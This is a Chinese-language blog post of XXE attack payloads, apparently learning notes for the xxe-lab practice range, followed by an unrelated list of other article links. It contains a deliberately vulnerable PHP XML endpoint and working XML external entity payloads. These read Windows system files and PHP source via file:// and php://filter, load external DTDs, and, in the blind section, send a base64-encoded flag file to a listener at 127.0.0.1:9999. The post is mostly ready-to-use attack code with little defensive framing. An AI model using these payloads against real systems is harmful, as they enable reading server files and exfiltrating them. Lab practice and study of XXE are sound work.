XXE_payload
<?php
$xmlfile = file_get_contents('php://input');
$creds=simplexml_load_string($xmlfile);
echo $creds;
?>
1 回显的类型
1.1
POC:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
1.2
与1.1不一样的是,引入的外部的dtd
POC:
**********
post提交的数据:
<?xml version="1.0"?>
<!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">
1.3
********
post:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd">
%goodies;
]>
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">
1.4
| 当里面含有 |
1.41
如果是php的话,可以用php的filter协议直接读出文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<creds>&goodies;</creds>
1.42
拼接引用的内容,就可以正常输出
**********
post提交的数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
*********
evil.dtd的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
2 无回显
2.1
**********
post:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
%remote;%int;%send;
]>
**********
evil.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
***********
python3 -m http.server 9999
3总结一下自己老出错的地方
最后引用实体的时候,老忘了打分号。&goodies;
没有回显的时候,要注意用filter结合file的绝对路径
filter可以不用绝对路径,但是有时候你是访问你的index.html,php文件不一定是index.php。
靶场练习;
https://github.com/c0ny1/xxe-lab
XXE_payload的更多相关文章
随机推荐
- ajax 请求二进制流 图片
<html xmlns="http://www.w3.org/1999/xhtml"><head runat="server"> ...
- eureka解析hostname为localhost问题 (转)
https://blog.csdn.net/liufei198613/article/details/79583686 公司的springcloud已经上线运行,但是最近测试环境老是会出现一个诡异的问 ...
- Yii 2.0 GII 访问404错误
网上大部分都是普通的开启和配置资料 按照网上资料配置 访问localhost/index/php?r=gii 总是提示404错误 解决方法如下: Yii基础版中的 web.php 代码如下 if (Y ...
- Spring Cloud(一)服务的注册与发现(Eureka)
Spring Cloud是一个基于Spring Boot实现的云应用开发工具,它为基于JVM的云应用开发中涉及的配置管理.服务发现.断路器.智能路由.微代理.控制总线.全局锁.决策竞选.分布式会话和集 ...
- error connection reset by peer 104
connection reset by peer的常见原因 1.服务器的并发连接数超过了其承载量,服务器会将其中一些连接关闭:2. errno = 104错误表明你在对一个对端socket已经关闭的的 ...
- maskrcnn-benchmark训练自己数据
需要修改的地方 1. ./maskrcnn_benchmark/data/datasets/voc.py 将CLASSES 内容改为自己的数据标签 2. ./maskrcnn_benchmark/co ...
- redis cluster(集群)模式的创建方式
redis常用的架构有三种,单例.哨兵.集群,其他的都说过了,这里只简单介绍集群搭建. 单例最简单没什么好说的. 哨兵之前说过,该模式下有哨兵节点监视master和slave,若master宕机可自动 ...
- Systemd: Service File Examples
大多数Linux发行版使用 systemd作为系统服务管理工具. systemctl是systemd的主要命令,用于管理控制服务. 这篇文章中将介绍如何创建允许你使用systemctl命令的sysyt ...
- Jmeter官方插件实现Dubbo接口测试
目前主流的分布式框架有Dubbo和SpringCloud, SpringCloud是基于Http协议的分布式框架,Dubbo是基于RPC的分布式框架,Jmeter没有内置对Dubbo接口的支持,很难直 ...
- 洛谷P1026 统计单词个数【区间dp】
题目:https://www.luogu.org/problemnew/show/P1026 题意: 给定一个字符串,要求把他分成k段.给定s个单词,问划分成k段之后每段中包含的单词和最大是多少. 一 ...